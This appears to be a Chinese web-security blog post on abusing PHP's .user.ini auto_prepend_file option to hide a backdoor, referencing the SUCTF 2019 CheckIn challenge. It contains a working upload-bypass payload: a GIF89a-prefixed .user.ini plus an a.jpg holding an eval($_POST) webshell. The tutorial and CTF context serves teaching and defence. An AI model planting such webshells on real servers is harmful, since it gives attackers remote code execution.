首页 web安全,网络安全

1. 利用.user.ini上传|隐藏后门

.user.ini。它比.htaccess用的更广,不管是nginx/apache/IIS,只要是以fastcgi运行的php都可以用这个方法。我的nginx服务器全部是fpm/fastcgi,我的IIS php5.3以上的全部用的fastcgi/cgi,我win下的apache上也用的fcgi,可谓很广,不像.htaccess有局限性。

1.1 原理

.user.ini

这得从php.ini说起了。php.ini是php默认的配置文件,其中包括了很多php的配置,这些配置中,又分为几种:PHP_INI_SYSTEM、PHP_INI_PERDIR、PHP_INI_ALL、PHP_INI_USER。 在此可以查看:http://php.net/manual/zh/ini.list.php 这几种模式有什么区别?看看官方的解释:
PHP_INI_*

其中就提到了,模式为PHP_INI_USER的配置项,可以在ini_set()函数中设置、注册表中设置,再就是.user.ini中设置。 这里就提到了.user.ini,那么这是个什么配置文件?那么官方文档在这里又解释了:

除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER['DOCUMENT_ROOT'] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。

在 .user.ini 风格的 INI 文件中只有具有 PHP_INI_PERDIR 和 PHP_INI_USER 模式的 INI 设置可被识别。

这里就很清楚了,.user.ini实际上就是一个可以由用户“自定义”的php.ini,我们能够自定义的设置是模式为“PHP_INI_PERDIR 、 PHP_INI_USER”的设置。(上面表格中没有提到的PHP_INI_PERDIR也可以在.user.ini中设置)

实际上,除了PHP_INI_SYSTEM以外的模式(包括PHP_INI_ALL)都是可以通过.user.ini来设置的。

而且,和php.ini不同的是,.user.ini是一个能被动态加载的ini文件。也就是说我修改了.user.ini后,不需要重启服务器中间件,只需要等待user_ini.cache_ttl所设置的时间(默认为300秒),即可被重新加载。

然后我们看到php.ini中的配置项,可惜我沮丧地发现,只要稍微敏感的配置项,都是PHP_INI_SYSTEM模式的(甚至是php.ini only的),包括disable_functions、extension_dir、enable_dl等。 不过,我们可以很容易地借助.user.ini文件来构造一个“后门”。

Php配置项中有两个比较有意思的项(下图第一、四个):
aFfawt.png

auto_append_file、auto_prepend_file,点开看看什么意思:

xxx

指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。而auto_append_file类似,只是在文件后面包含。 使用方法很简单,直接写在.user.ini中:

auto_prepend_file=01.gif

点击查看全文

1.2 漏洞利用

可以参考从SUCTF 2019 CheckIn 浅谈.user.ini的利用

条件

  1. 服务器脚本语言为PHP
  2. 服务器使用CGI/FastCGI模式
  3. 上传目录下要有可执行的php文件

实例:上传.user.ini绕过黑名单检验

构造一个.user.ini文件,内容如下:

GIF89a                  
auto_prepend_file=a.jpg 

然后构造一个a.jpg,内容如下

GIF89a
<script language='php'> @eval($_POST['pass']);</script>

然后将两个文件分别上传到服务器上,拿到回显

优势:跟.htaccess后门比,适用范围更广,nginx/apache/IIS都有效,而.htaccess只适用于apache

2. 参考

.user.ini原理分析
[刷题记录:[SUCTF 2019]CheckIn](https://www.cnblogs.com/20175211lyz/p/11455355.html#1%E3%80%81%E5%88%A9%E7%94%A8userini%E4%B8%8A%E4%BC%A0%E9%9A%90%E8%97%8F%E5%90%8E%E9%97%A8)
从SUCTF 2019 CheckIn 浅谈.user.ini的利用
[[SUCTF 2019]CheckIn](https://blog.csdn.net/weixin_43940853/article/details/103841986)
[[SUCTF 2019]CheckIn-操作](https://www.jianshu.com/p/2907426b4a91)




文章评论